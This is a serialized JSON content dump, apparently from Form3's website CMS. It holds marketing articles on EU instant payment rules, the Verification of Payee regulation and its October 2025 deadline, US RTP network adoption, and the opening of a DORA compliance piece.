",[20553,20554],{"start":398,"end":1486,"type":593},{"start":20555,"end":9050,"type":593},162,{"type":3373,"text":20557,"spans":20558,"direction":445},"Immediate Customer Notification: The rulebook mandates that the Originator PSP must immediately inform the Originator about the processing outcome of the transaction. Whether that be positive confirmation the beneficiary has received the funds or negative confirmation the payment has been rejected. ",[20559],{"start":398,"end":690,"type":593},{"type":3373,"text":20561,"spans":20562,"direction":445},"Account Restoration: If the Originator PSP has not received a confirmation message within 10 seconds, it must restore the Originator's account and inform them of the status. If a negative confirmation message is received later, the Originator must be informed immediately. Similarly, if a positive confirmation message is received belatedly, the Originator must be informed about the successful execution of the transaction. ",[20563],{"start":398,"end":6262,"type":593},"rich_text$0231a266-4fe9-44bb-809c-86365c517635",{"variation":437,"version":438,"items":20566,"primary":20567,"id":20575,"slice_type":468,"slice_label":5},[],{"body":20568},[20569,20572],{"type":25,"text":20570,"spans":20571,"direction":445},"These changes are designed to enhance the efficiency and reliability of instant payments, ensuring that customers receive timely and accurate information about their transactions. At Form3, we are dedicated to keeping our customers informed and compliant with these new regulations. ",[],{"type":25,"text":20573,"spans":20574,"direction":445},"Stay tuned for more updates and insights as we navigate these changes together. If you have any questions or need further assistance, feel free to reach out. Your compliance and success are our top priorities. ",[],"rich_text$3d5f3323-a4bb-482d-beae-e7d9146f63ff",{"id":20577,"uid":20578,"type":3743,"data":20579},"alzycREAAC4AUWEb","verification-of-payee-regulation-overview",{"title":20580,"excerpt":20581,"card_image":20582,"published_date":19638,"reading_time":418,"tag":3751,"dek":20587,"featured_image":20588,"about_form3":20589,"client_about_heading":5,"client_about_body":20590,"author_name":5,"author_title":5,"author_photo":20591,"author_bio":20592,"author_linkedin":20593,"slices":20594,"meta_title":20869,"meta_description":20870},"Verification of Payee (VoP) Regulation: Essential Information for Compliance","Explore the essential details of Verification of Payee (VoP) regulation for European banks, including regulatory requirements, benefits, and implementation steps.",{"dimensions":20583,"alt":20580,"copyright":5,"url":20584,"id":20585,"edit":20586},{"width":412,"height":412},"\u002F_prismic-media\u002F30f95996118a3723--ffsSORUvn53gXpL_verification-of-payee-regulatio.svg","-ffsSORUvn53gXpL",{"x":398,"y":398,"zoom":399,"background":650},"In today’s fast paced world of instant payments, ensuring the security and accuracy of transactions is paramount. Imagine a scenario where a simple typo in the payee's IBAN leads to a significant financial loss due to a misdirected payment. Such incidents highlight the critical need for robust verification mechanisms. For SEPA instant in the EU one significant development in this area is the Verification of Payee (VoP) service. In the following article, we explore the intricacies of VoP, including its definition, regulatory framework, operational mechanics, and the crucial elements of the VoP scheme rulebook.",{},[],[],{},[],{"link_type":434},[20595,20609,20642,20650,20680,20712,20720,20741,20771,20779,20796,20828,20853],{"variation":437,"version":438,"items":20596,"primary":20597,"id":20608,"slice_type":468,"slice_label":5},[],{"body":20598},[20599,20602],{"type":988,"text":20600,"spans":20601,"direction":445},"What is Verification of Payee?",[],{"type":25,"text":20603,"spans":20604,"direction":445},"Verification of Payee scheme is a set of rules, practices and standards designed to enhance the security of SEPA payment transactions by verifying the identity of the payee before a payment is authorized. When consumers or businesses make payments, the Verification of Payee informs them if the money is going to the right account. Before they transfer the funds, they can check that the name on the recipient account matches the person or business they intend to send the money to, so funds end up in the right place.",[20605],{"start":398,"end":703,"type":489,"data":20606},{"link_type":491,"url":20607,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Fadditional-services\u002Fvop","rich_text$2e687296-2557-4ced-811d-c9502c522508",{"variation":437,"version":438,"items":20610,"primary":20611,"id":20641,"slice_type":468,"slice_label":5},[],{"body":20612},[20613,20616,20625,20629,20633,20637],{"type":988,"text":20614,"spans":20615,"direction":445},"Verification of Payee Regulatory Background",[],{"type":25,"text":20617,"spans":20618,"direction":445},"The introduction of the verification of payee rulebook is driven by the Instant Payments Regulation (IPR), which was published in the Official Journal of the European Union in March 2024. The regulation mandates that Payment Service Providers (PSPs) offer VoP services at no additional charge to their customers. Key requirements include: ",[20619,20622],{"start":7460,"end":3963,"type":489,"data":20620},{"link_type":491,"url":20621,"target":4499},"https:\u002F\u002Fwww.europeanpaymentscouncil.eu\u002Fdocument-library\u002Frulebooks\u002Fverification-payee-scheme-rulebook",{"start":1797,"end":3092,"type":489,"data":20623},{"link_type":491,"url":20624,"target":4499},"https:\u002F\u002Feur-lex.europa.eu\u002Feli\u002Freg\u002F2024\u002F886\u002Foj",{"type":3373,"text":20626,"spans":20627,"direction":445},"Mandatory VoP Check: The VoP check must be performed before the payer authorizes the credit transfer. ",[20628],{"start":398,"end":6262,"type":593},{"type":3373,"text":20630,"spans":20631,"direction":445},"Notification of Close Matches: In cases of close matches, the payer must be informed of the name associated with the provided IBAN. ",[20632],{"start":398,"end":871,"type":593},{"type":3373,"text":20634,"spans":20635,"direction":445},"Liability and Refund Rights: PSPs must inform payers about the implications for PSP liability and payer refund rights if the payer chooses to ignore a notification provided by the VoP service. ",[20636],{"start":398,"end":3485,"type":593},{"type":3373,"text":20638,"spans":20639,"direction":445},"Union-wide Standards: The service should be carried out in accordance with a Union-wide set of rules and standards, which are developed by organizations representing PSPs. ",[20640],{"start":398,"end":7460,"type":593},"rich_text$2d4c72df-d2d0-405f-bf76-ff5df209903c",{"variation":437,"version":438,"items":20643,"primary":20644,"id":20649,"slice_type":468,"slice_label":5},[],{"body":20645},[20646],{"type":25,"text":20647,"spans":20648,"direction":445},"The regulation stipulates that for PSPs in the Euro area, VoP services must be offered by October 9, 2025, 18 months after the entry into force of the IPR. ",[],"rich_text$76f67a65-e437-463f-82e0-7933bfdb17a0",{"variation":437,"version":438,"items":20651,"primary":20652,"id":20679,"slice_type":468,"slice_label":5},[],{"body":20653},[20654,20657,20663,20667,20671,20675],{"type":988,"text":20655,"spans":20656,"direction":445},"How Verification of Payee Works",[],{"type":25,"text":20658,"spans":20659,"direction":445},"The VoP process involves several key actors and steps to ensure the accurate verification of payee details. The main actors in the VoP scheme are: ",[20660],{"start":4603,"end":5136,"type":489,"data":20661},{"link_type":491,"url":20662,"target":4499},"https:\u002F\u002Fwww.europeanpaymentscouncil.eu\u002Fwhat-we-do\u002Fother-schemes\u002Fverification-payee\u002Fquestions-answers-verification-payee-scheme",{"type":3373,"text":20664,"spans":20665,"direction":445},"Requester: The individual or entity initiating a payment. ",[20666],{"start":398,"end":1355,"type":593},{"type":3373,"text":20668,"spans":20669,"direction":445},"Requesting PSP: The PSP with whom the Requester intends to make the payment. ",[20670],{"start":398,"end":2987,"type":593},{"type":3373,"text":20672,"spans":20673,"direction":445},"Responding PSP: The PSP receiving the VoP request and processing it. ",[20674],{"start":398,"end":2987,"type":593},{"type":3373,"text":20676,"spans":20677,"direction":445},"Routing and Verification Mechanisms (RVMs): Entities that facilitate the routing and verification of VoP requests and responses. ",[20678],{"start":398,"end":1486,"type":593},"rich_text$3aecb977-aa7a-45fe-8ac8-b712b22c89ae",{"variation":437,"version":438,"items":20681,"primary":20682,"id":20711,"slice_type":468,"slice_label":5},[],{"body":20683},[20684,20687,20691,20697,20703,20707],{"type":474,"text":20685,"spans":20686,"direction":445},"The VoP process can be summarized as follows: ",[],{"type":3373,"text":20688,"spans":20689,"direction":445},"Initiation: The Requester provides the payment details to the Requesting PSP. ",[20690],{"start":398,"end":905,"type":593},{"type":3373,"text":20692,"spans":20693,"direction":445},"Preparation: The Requesting PSP verifies that all mandatory attributes are provided and prepares the VoP request message. ",[20694,20695],{"start":398,"end":602,"type":593},{"start":6911,"end":690,"type":489,"data":20696},{"link_type":491,"url":20607,"target":4499},{"type":3373,"text":20698,"spans":20699,"direction":445},"Transmission: The VoP request is sent to the Responding PSP, either directly or via an RVM. ",[20700,20701],{"start":398,"end":2707,"type":593},{"start":9211,"end":592,"type":489,"data":20702},{"link_type":491,"url":20607,"target":4499},{"type":3373,"text":20704,"spans":20705,"direction":445},"Verification: The Responding PSP checks the provided details against its records and generates a VoP response. ",[20706],{"start":398,"end":2707,"type":593},{"type":3373,"text":20708,"spans":20709,"direction":445},"Response Handling: The VoP response is sent back to the Requesting PSP, which then informs the Requester of the result. ",[20710],{"start":398,"end":6911,"type":593},"rich_text$a577ccbe-4870-4ccb-a215-242440337084",{"variation":437,"version":438,"items":20713,"primary":20714,"id":20719,"slice_type":468,"slice_label":5},[],{"body":20715},[20716],{"type":25,"text":20717,"spans":20718,"direction":445},"The entire process is designed to be completed within a maximum execution time of three seconds, with a preference for one second or less. ",[],"rich_text$4cb08154-d61d-4f9a-82fa-3ec5fbc283dd",{"variation":437,"version":527,"items":20721,"primary":20722,"id":20740,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":20723,"body":20724,"cta_label":5,"cta_link":20728,"aside_type":533,"aside_image":20729,"aside_video":20735,"aside_video_poster":20736,"aside_video_reduced_motion":20737,"aside_video_url":5,"aside_embed":20738,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":20739,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[20725],{"type":25,"text":20726,"spans":20727,"direction":445},"VoP Service Overview ",[],{"link_type":434},{"dimensions":20730,"alt":20731,"copyright":5,"url":20732,"id":20733,"edit":20734},{"width":19778,"height":2532},"Verification of Payee regulation solution overview","\u002F_prismic-media\u002Fddee112619a5ea61-QAm994eFO8nniOCN_Z1rPxZbqstJ98ZLx.png","QAm994eFO8nniOCN",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$2dc9d832-3a3c-4b06-83d0-5d0c4c2c0bed",{"variation":437,"version":438,"items":20742,"primary":20743,"id":20770,"slice_type":468,"slice_label":5},[],{"body":20744},[20745,20748,20751,20758,20762,20766],{"type":988,"text":20746,"spans":20747,"direction":445},"Verification of Payee Scheme Rulebook",[],{"type":25,"text":20749,"spans":20750,"direction":445},"The European Payments Council (EPC) has developed a comprehensive rulebook to guide the implementation of the VoP scheme. The rulebook outlines the technical specifications, operational procedures, and compliance requirements for PSPs. Key components of the rulebook include: ",[],{"type":3373,"text":20752,"spans":20753,"direction":445},"Scope and Reachability: The VoP scheme applies to payments within the Single Euro Payments Area (SEPA) and must be available 24\u002F7\u002F365. It covers both euro and non-euro PSPs. ",[20754,20755],{"start":398,"end":7635,"type":593},{"start":847,"end":4073,"type":489,"data":20756},{"link_type":491,"url":20757,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Feurope",{"type":3373,"text":20759,"spans":20760,"direction":445},"Adherence: Account-Servicing PSPs can participate as both Requesting and Responding PSPs, while other PSPs can participate at least as Requesting PSPs. ",[20761],{"start":398,"end":1355,"type":593},{"type":3373,"text":20763,"spans":20764,"direction":445},"Data Requirements: The rulebook specifies the mandatory and optional attributes that must be included in VoP requests and responses, such as the IBAN, BIC, and the name of the payee. ",[20765],{"start":398,"end":6911,"type":593},{"type":3373,"text":20767,"spans":20768,"direction":445},"Response Types: The rulebook defines the possible responses to a VoP request, including match, no match, and close match. It also provides guidelines for handling non-matching results and delayed responses. ",[20769],{"start":398,"end":2987,"type":593},"rich_text$576caff5-0d21-4ab9-addc-a378f1af31a7",{"variation":437,"version":438,"items":20772,"primary":20773,"id":20778,"slice_type":468,"slice_label":5},[],{"body":20774},[20775],{"type":25,"text":20776,"spans":20777,"direction":445},"The EPC released the formal version 1.0 of the VoP scheme rulebook on October 10, 2024, with the scheme entering into force on October 9, 2025. ",[],"rich_text$3f605f0b-63dc-43c4-8a1f-49bf480468e4",{"variation":437,"version":438,"items":20780,"primary":20781,"id":20795,"slice_type":468,"slice_label":5},[],{"body":20782},[20783,20786,20792],{"type":988,"text":20784,"spans":20785,"direction":445},"Verification of Payee Regulation: The Next Chapter",[],{"type":25,"text":20787,"spans":20788,"direction":445},"Verification of Payee (VoP) is a crucial service that enhances the security and accuracy of SEPA instant transactions. By understanding the regulatory background, how VoP works, and the key components of the VoP scheme rulebook, heads of payments at European banks can better prepare for its implementation. In the next part of this blog series, we will explore the practical aspects of implementing VoP in your bank, including technical requirements, operational considerations, and best practices. ",[20789],{"start":12970,"end":8997,"type":489,"data":20790},{"link_type":491,"url":20791,"target":4499},"https:\u002F\u002Fwww.form3.tech\u002Feurope\u002Fsepa-instant",{"type":25,"text":20793,"spans":20794,"direction":445},"Stay tuned for Part 2, where we will provide detailed guidance on how to successfully integrate VoP into your payment systems and ensure compliance with the upcoming regulatory deadlines. ",[],"rich_text$2a7a2c31-c067-4e57-93a7-e32b179bbab6",{"variation":437,"version":438,"items":20797,"primary":20798,"id":20827,"slice_type":468,"slice_label":5},[],{"body":20799},[20800,20803,20806,20809,20813,20816,20820,20823],{"type":988,"text":20801,"spans":20802,"direction":445},"Frequently Asked Questions",[],{"type":474,"text":20804,"spans":20805,"direction":445},"How do I verify a payee? ",[],{"type":25,"text":20807,"spans":20808,"direction":445},"To verify a payee, the Verification of Payee (VoP) service is used. This process involves several steps: ",[],{"type":3373,"text":20810,"spans":20811,"direction":445},"Initiation: The payer (Requester) provides the payment details, including the payee's name and IBAN, to their Payment Service Provider (PSP). ",[20812],{"start":398,"end":905,"type":593},{"type":3373,"text":20692,"spans":20814,"direction":445},[20815],{"start":398,"end":602,"type":593},{"type":3373,"text":20817,"spans":20818,"direction":445},"Transmission: The VoP request is sent to the Responding PSP, either directly or via a Routing and Verification Mechanism (RVM). ",[20819],{"start":398,"end":2707,"type":593},{"type":3373,"text":20704,"spans":20821,"direction":445},[20822],{"start":398,"end":2707,"type":593},{"type":3373,"text":20824,"spans":20825,"direction":445},"Response Handling: The VoP response is sent back to the Requesting PSP, which then informs the payer of the result. The response can indicate a match, no match, or close match. ",[20826],{"start":398,"end":6911,"type":593},"rich_text$c91dab6e-327d-4762-b845-5bf90859cce5",{"variation":437,"version":438,"items":20829,"primary":20830,"id":20852,"slice_type":468,"slice_label":5},[],{"body":20831},[20832,20834,20837,20840,20844,20848],{"type":25,"text":20717,"spans":20833,"direction":445},[],{"type":988,"text":20835,"spans":20836,"direction":445},"What are verification of payee providers in Europe? ",[],{"type":25,"text":20838,"spans":20839,"direction":445},"Verification of Payee (VoP) providers in Europe are primarily Payment Service Providers (PSPs) that participate in the VoP scheme. These include: ",[],{"type":3373,"text":20841,"spans":20842,"direction":445},"Requesting PSPs: PSPs that initiate the VoP request on behalf of the payer. ",[20843],{"start":398,"end":8472,"type":593},{"type":3373,"text":20845,"spans":20846,"direction":445},"Responding PSPs: PSPs that receive the VoP request and verify the payee's details. ",[20847],{"start":398,"end":8472,"type":593},{"type":3373,"text":20849,"spans":20850,"direction":445},"Routing and Verification Mechanisms (RVMs): Entities that facilitate the routing and verification of VoP requests and responses. These can include payment clearing and settlement providers, automated clearing houses, or intra-PSP and intra-group arrangements. ",[20851],{"start":398,"end":1486,"type":593},"rich_text$585dbafc-36ed-44fc-9742-422511f9f244",{"variation":437,"version":438,"items":20854,"primary":20855,"id":20868,"slice_type":468,"slice_label":5},[],{"body":20856},[20857,20862,20865],{"type":25,"text":20858,"spans":20859,"direction":445},"The European Payments Council (EPC) oversees the development and maintenance of the VoP scheme rulebook, which sets the standards and guidelines for these providers. ",[20860],{"start":4603,"end":628,"type":489,"data":20861},{"link_type":491,"url":20662,"target":4499},{"type":988,"text":20863,"spans":20864,"direction":445},"What is payee validation? ",[],{"type":25,"text":20866,"spans":20867,"direction":445},"Payee validation, in the context of the Verification of Payee (VoP) service, refers to the process of confirming that the name of the payee matches the account details provided (such as the IBAN). This validation is performed before the payer authorises the credit transfer to ensure that the payment is directed to the correct recipient. The VoP service helps to prevent fraud and errors by verifying the identity of the payee, thereby reducing the risk of misdirected payments. The validation process involves checking the provided details against the records of the Responding PSP and generating a response indicating whether the details match, do not match, or are a close match. ",[],"rich_text$793a531a-645c-4bf7-9274-14bed0544e56","Understanding Verification of Payee regulation for Instant Payments","Explore the verification of payee regulation for instant payments, ensuring secure transactions in the EU. Learn about VOP regulations for payers and payees under SEPA.",{"id":20872,"uid":20873,"type":3743,"data":20874},"alzybhEAAC4AUWET","verification-of-payee-deadline-what-banks-must-do-to-meet-epc-requirements",{"title":20875,"excerpt":20876,"card_image":20877,"published_date":11579,"reading_time":418,"tag":5813,"dek":20882,"featured_image":20883,"about_form3":20884,"client_about_heading":5,"client_about_body":20885,"author_name":5,"author_title":5,"author_photo":20886,"author_bio":20887,"author_linkedin":20888,"slices":20889,"meta_title":20875,"meta_description":20876},"Verification of Payee Deadline: What Banks Must Do to Meet EPC Requirements","With the 2025 deadline for the Verification of Payee (VoP) scheme fast approaching, financial institutions must act now. Learn how EPC regulations impact SEPA payments and instant transactions.",{"dimensions":20878,"alt":20875,"copyright":5,"url":20879,"id":20880,"edit":20881},{"width":412,"height":412},"\u002F_prismic-media\u002Fd0c99662388a07ea-3ySr7Cw5fVmorgzb_verification-of-payee-deadline-.png","3ySr7Cw5fVmorgzb",{"x":398,"y":398,"zoom":399,"background":400},"With the verification of payee deadline looming, the European banking community must race to make the necessary system upgrades to ensure the secure and real-time validation of transactions. The new regulation is going to change the way you make payments. This article will take you through the upcoming scheme changes. We will cover the rules about payments, the challenges of automating payments and the solutions to better payment security  Can your institution afford to ignore these changes? Read on to find out why now is the time to act.",{},[],[],{},[],{"link_type":434},[20890,20907,20932,20962,20987,21022,21030],{"variation":437,"version":438,"items":20891,"primary":20892,"id":20906,"slice_type":468,"slice_label":5},[],{"body":20893},[20894,20897,20903],{"type":988,"text":20895,"spans":20896,"direction":445},"Understanding the Verification of Payee Deadline",[],{"type":25,"text":20898,"spans":20899,"direction":445},"The verification of payee deadline is not just another compliance date on the calendar—it’s a pivotal moment for the entire payments industry. Scheduled for October 9, 2025, this deadline mandates that banks and payment service providers (PSPs) implement a robust, real‐time verification process across all transaction channels. This initiative goes beyond merely checking an account name against an IBAN; it’s about creating a secure, unified payment scheme that spans online transfers, telephone payments, and even traditional paper transactions. ",[20900],{"start":20901,"end":6415,"type":489,"data":20902},202,{"link_type":491,"url":20621,"target":4499},{"type":25,"text":20904,"spans":20905,"direction":445},"Imagine the risks: a simple typo in an account number can lead to a misdirected payment that might be impossible to retrieve. The new system is designed to prevent such costly errors by ensuring that every transaction is verified in under five seconds. By standardizing the process across Europe, the deadline aims to enhance fraud prevention, reduce financial losses, and boost consumer confidence in digital payments. In essence, it’s a race against time where every millisecond counts. ",[],"rich_text$6dbcc361-989d-4eba-add9-9df7a0a5845c",{"variation":437,"version":438,"items":20908,"primary":20909,"id":20931,"slice_type":468,"slice_label":5},[],{"body":20910},[20911,20914,20922,20925],{"type":988,"text":20912,"spans":20913,"direction":445},"VOP Regulatory Framework and Compliance Requirements",[],{"type":25,"text":20915,"spans":20916,"direction":445},"At the heart of this transformation is the regulatory framework set forth by the European Union. The Verification of Payee (VoP) initiative is driven by the Instant Payments Regulation (IPR) and a host of new mandates aimed at creating a single, unified standard for all PSPs across Europe. But what does this mean for your institution? ",[20917,20919],{"start":3289,"end":3885,"type":489,"data":20918},{"link_type":491,"url":20757,"target":4499},{"start":10310,"end":7016,"type":489,"data":20920},{"link_type":491,"url":20921,"target":4499},"https:\u002F\u002Feur-lex.europa.eu\u002Flegal-content\u002FEN\u002FTXT\u002F?uri=CELEX:32024R0886",{"type":25,"text":20923,"spans":20924,"direction":445},"The new rules require the all-out assessment before any payment is authorised. This means there should be a validation that the payee details match 100% for any transaction. Additionally, European Payments Council (EPC) Regulatory bodies have developed the EPC Directory Service and this directory service is a centralised ‘phone book’ for their bank accounts that will be launched for new verification. ",[],{"type":25,"text":20926,"spans":20927,"direction":445},"In addition, as far as the SEPA credit transfers are concerned, the second deadline is October 9, 2025. This one is pretty much similar, but slightly staggered so as to give a brief leeway for institutions who still work on legacy systems. It’s crucial to comply with these requirements, or else you may face undesirable penalties. However, you would also lose the trust of your customers. ",[20928],{"start":3485,"end":5490,"type":489,"data":20929},{"link_type":491,"url":20930,"target":4499},"https:\u002F\u002Feur-lex.europa.eu\u002Flegal-content\u002FEN\u002FTXT\u002FHTML\u002F?uri=CELEX:02012R0260-20240408#tocId3","rich_text$ba5cd7c5-e32f-4817-9928-1c9bf87330ee",{"variation":437,"version":438,"items":20933,"primary":20934,"id":20961,"slice_type":468,"slice_label":5},[],{"body":20935},[20936,20939,20942,20945,20949,20953,20957],{"type":988,"text":20937,"spans":20938,"direction":445},"Technical and Operational Payment Challenges",[],{"type":25,"text":20940,"spans":20941,"direction":445},"Implementing a system that verifies every transaction in under five seconds is no small feat. For many banks, especially those relying on legacy systems, this deadline presents a substantial operational challenge. The verification process involves a series of steps, starting with the transmission of payment details to the central EPC Directory Service, and ending with a real-time response confirming or denying the match. ",[],{"type":25,"text":20943,"spans":20944,"direction":445},"How do you integrate cutting-edge technology with systems that were not originally designed for such rapid processing? The answer lies in overcoming several technical hurdles: ",[],{"type":3373,"text":20946,"spans":20947,"direction":445},"Legacy Systems Integration: Many banks are still running on outdated infrastructure. Upgrading these systems to interact seamlessly with modern APIs is a complex, resource-intensive process.",[20948],{"start":398,"end":3485,"type":593},{"type":3373,"text":20950,"spans":20951,"direction":445},"Speed Requirements: Each transaction must be verified in less than five seconds. This is particularly challenging for high-volume processes such as payroll or large-scale commercial transactions.",[20952],{"start":398,"end":6262,"type":593},{"type":3373,"text":20954,"spans":20955,"direction":445},"Routing and Verification Mechanism (RVM): The new RVM is a critical component that governs how VoP requests and responses are handled. Ensuring its flawless operation requires rigorous testing and integration with the EPC Directory Service, which itself will only be fully operational by June 2025—leaving banks with a tight three-month window for full-scale implementation.",[20956],{"start":398,"end":1977,"type":593},{"type":3373,"text":20958,"spans":20959,"direction":445},"Customer Experience: Explaining the nuances of a ‘close match’ to customers over the phone within seconds is another layer of difficulty. Institutions must train staff to manage these situations efficiently, ensuring clarity and maintaining customer trust even during brief disruptions.",[20960],{"start":398,"end":7460,"type":593},"rich_text$042a027d-6f7e-41ab-9f85-73f00e1481aa",{"variation":437,"version":438,"items":20963,"primary":20964,"id":20986,"slice_type":468,"slice_label":5},[],{"body":20965},[20966,20969,20972,20978,20983],{"type":988,"text":20967,"spans":20968,"direction":445},"Impact on Consumers and Financial Institutions",[],{"type":25,"text":20970,"spans":20971,"direction":445},"What significance does this hold in the daily operations of financial companies and their clients? A standard verification procedure being introduced will surely be highly beneficial for both. ",[],{"type":25,"text":20973,"spans":20974,"direction":445},"For consumers, the benefits are clear. A good verification process will lessen the chance of payment being misdirected or fraudulent incidents. As a result, making digital payments is more secure and gives us more peace of mind. In today’s world of instant payments, it is extremely important that every payment is fast and safe. ",[20975],{"start":20976,"end":9374,"type":489,"data":20977},249,{"link_type":491,"url":20791,"target":4499},{"type":25,"text":20979,"spans":20980,"direction":445},"For financial institutions, the stakes are equally high. In order to comply with the last date for verification of payee, substantial financial outlay on new technology, systems upgrade and staff training will be needed. However, institutions that enact such changes will be in a better position to reduce the risk of loss, build customer relationships and earn their trust. The initiative to one secure payment system will help in building customer trust as well as the institution's reputation. ",[20981],{"start":19482,"end":5702,"type":489,"data":20982},{"link_type":491,"url":20607,"target":4499},{"type":25,"text":20984,"spans":20985,"direction":445},"Essentially, much-needed evolution of payments can happen only because of the deadline of verifications of Payee. Upon embracing these changes, banks can become the leaders of the new digital economy – one that is ready to deal with today’s and tomorrow’s challenges.  ",[],"rich_text$460abc05-d8d9-4f18-b1ca-851bf617fa77",{"variation":437,"version":438,"items":20988,"primary":20989,"id":21021,"slice_type":468,"slice_label":5},[],{"body":20990},[20991,20994,20997,21001,21005,21009,21013,21017],{"type":988,"text":20992,"spans":20993,"direction":445},"Preparing for the Verification of Payee Deadline: Key Takeaways",[],{"type":25,"text":20995,"spans":20996,"direction":445},"As we approach this transformative deadline, what steps should financial institutions take to ensure they are ready? Let’s recap the critical actions and considerations: ",[],{"type":3373,"text":20998,"spans":20999,"direction":445},"Immediate System Assessments: Conduct thorough evaluations of your current systems to identify gaps that might hinder compliance with the under-five-second verification requirement.",[21000],{"start":398,"end":871,"type":593},{"type":3373,"text":21002,"spans":21003,"direction":445},"Plan for Legacy Integration: Develop a clear strategy for upgrading or integrating legacy systems with modern APIs and the EPC Directory Service.",[21004],{"start":398,"end":9704,"type":593},{"type":3373,"text":21006,"spans":21007,"direction":445},"Leverage Innovative Tools: Take advantage of pre-compliance tools like FPAD and consider partnering with third-party providers who offer ready-made solutions.",[21008],{"start":398,"end":5574,"type":593},{"type":3373,"text":21010,"spans":21011,"direction":445},"Staff Training: Ensure that your team is well-prepared to manage the new verification processes and can communicate effectively with customers about any changes.",[21012],{"start":398,"end":8472,"type":593},{"type":3373,"text":21014,"spans":21015,"direction":445},"Compliance and Testing: With the EPC Directory Service going live by June 2025, use the three-month window to rigorously test and refine your new systems.",[21016],{"start":398,"end":4023,"type":593},{"type":3373,"text":21018,"spans":21019,"direction":445},"Engage with Regulatory Updates: Stay informed about any new guidelines or updates from regulatory bodies to ensure ongoing compliance.",[21020],{"start":398,"end":690,"type":593},"rich_text$fe4c7752-e20b-41e4-8de1-9fc654509766",{"variation":437,"version":438,"items":21023,"primary":21024,"id":21029,"slice_type":468,"slice_label":5},[],{"body":21025},[21026],{"type":25,"text":21027,"spans":21028,"direction":445},"By focusing on these key areas, financial institutions can turn the verification of payee deadline from a daunting challenge into a strategic opportunity. Isn't it time to embrace the future of secure, efficient payment processing? ",[],"rich_text$4d8567cb-9240-460b-80b4-a758be6abd40",{"variation":437,"version":438,"items":21031,"primary":21032,"id":21041,"slice_type":468,"slice_label":5},[],{"body":21033},[21034,21036],{"type":988,"text":4445,"spans":21035,"direction":445},[],{"type":25,"text":21037,"spans":21038,"direction":445},"In short, the verification of payee deadline will change the digital payments landscape of Europe. A deadline implying activities such as SEPA credit transfer must comply with the requirement till October 9, 2025. Banks and PSPs has to step up and preparation for a full rollout with compliance.  It will be difficult journey involving extensive technical enhancements, system linkages, and personnel instruction and training. But the advantages—a more reliable, standardized payments ecosystem and greater trust from consumers—outweigh these initial hurdles. ",[21039],{"start":2987,"end":628,"type":489,"data":21040},{"link_type":491,"url":20607,"target":4499},"rich_text$316b5cb8-e84c-432c-bb34-b7bec04931f9",{"id":21043,"uid":21044,"type":3743,"data":21045},"alzyfhEAACgAUWE4","harnessing-instant-payments-in-the-us-with-the-rtp-network",{"title":21046,"excerpt":21047,"card_image":21048,"published_date":21054,"reading_time":506,"tag":3992,"dek":527,"featured_image":21055,"about_form3":21060,"client_about_heading":5,"client_about_body":21061,"author_name":5,"author_title":5,"author_photo":21062,"author_bio":21063,"author_linkedin":21064,"slices":21065,"meta_title":21050,"meta_description":21047},"Payments in the fast lane: Harnessing Instant Payments in the US with the RTP® Network​","In this dynamic environment, financial institutions that delay adopting instant payments risk falling behind their more proactive competitors. Beyond meeting customer expectations, the ability to process payments in real time offers significant operational efficiencies and revenue potential, making participation in the RTP network a strategic imperative for banks and credit unions of all sizes.",{"dimensions":21049,"alt":21050,"copyright":5,"url":21051,"id":21052,"edit":21053},{"width":412,"height":412},"Payments in the fast lane: Harnessing Instant Payments in the U.S. with the RTP® Network​","\u002F_prismic-media\u002F2ea21ac7aa1f6196-koGALdcb0nFV2KGQ_harnessing-instant-payments-in-.png","koGALdcb0nFV2KGQ",{"x":398,"y":398,"zoom":399,"background":400},"2025-02-20",{"dimensions":21056,"alt":5,"copyright":5,"url":21057,"id":21058,"edit":21059},{"width":423,"height":424},"\u002F_prismic-media\u002Fd82e02107412e0e2-txxRg94IKfJbCskr_Z635s5bqstJ9-k4j.png","txxRg94IKfJbCskr",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[21066],{"variation":437,"version":527,"items":21067,"primary":21068,"id":21097,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":21069,"body":21072,"cta_label":5,"cta_link":21083,"aside_type":6213,"aside_image":21084,"aside_video":21085,"aside_video_poster":21086,"aside_video_reduced_motion":21087,"aside_video_url":5,"aside_embed":21088,"pardot_form_url":21089,"form_submit_label":8818,"form_variant":6220,"form_heading":8819,"redirect_on_success":21090,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[21070],{"type":746,"text":8983,"spans":21071},[],[21073,21075,21079],{"type":25,"text":21047,"spans":21074,"direction":445},[],{"type":25,"text":21076,"spans":21077,"direction":445},"The move to real-time payments does not have to be disruptive. With the right approach, banks can adopt RTP gradually, leveraging modern cloud-based solutions that eliminate unnecessary complexity. ",[21078],{"start":629,"end":19964,"type":593},{"type":25,"text":21080,"spans":21081,"direction":445},"Download our full report to explore how banks like yours are already making the transition, and learn what steps your institution can take to stay ahead in the real-time payments era. ",[21082],{"start":3852,"end":5497,"type":593},{"link_type":434},{},{"link_type":536},{},{},{},"https:\u002F\u002Fcontent.form3.tech\u002Fl\u002F957092\u002F2025-02-20\u002Fhvytq",{"id":21091,"type":6224,"tags":21092,"lang":14,"slug":6226,"first_publication_date":9012,"last_publication_date":6228,"uid":21044,"url":21093,"data":21094,"link_type":542,"key":21096,"isBroken":6235},"anvLSRIAACkANqZL",[],"\u002Fcampaigns\u002Fharnessing-instant-payments-in-the-us-with-the-rtp-network",{"title":21095,"heading":9017},"RTP Network whitepaper — thank you","f3ba2ece-b496-4835-883e-5f83dedc1543","content_block$fe075713-900e-4810-af2e-2b849233e361",{"id":21099,"uid":21100,"type":3743,"data":21101},"alzyjREAACsAUWFc","compliance-with-the-eu-digital-operational-resilience-act",{"title":21102,"excerpt":21103,"card_image":21104,"published_date":21110,"reading_time":418,"tag":3751,"dek":21111,"featured_image":21112,"about_form3":21117,"client_about_heading":5,"client_about_body":21118,"author_name":5,"author_title":5,"author_photo":21119,"author_bio":21120,"author_linkedin":21121,"slices":21122,"meta_title":21106,"meta_description":21103},"Multi-cloud Strategies: A Path to Compliance with the EU Digital Operational Resilience Act (DORA)","In this article, we explore DORA’s foundational principles, the challenges 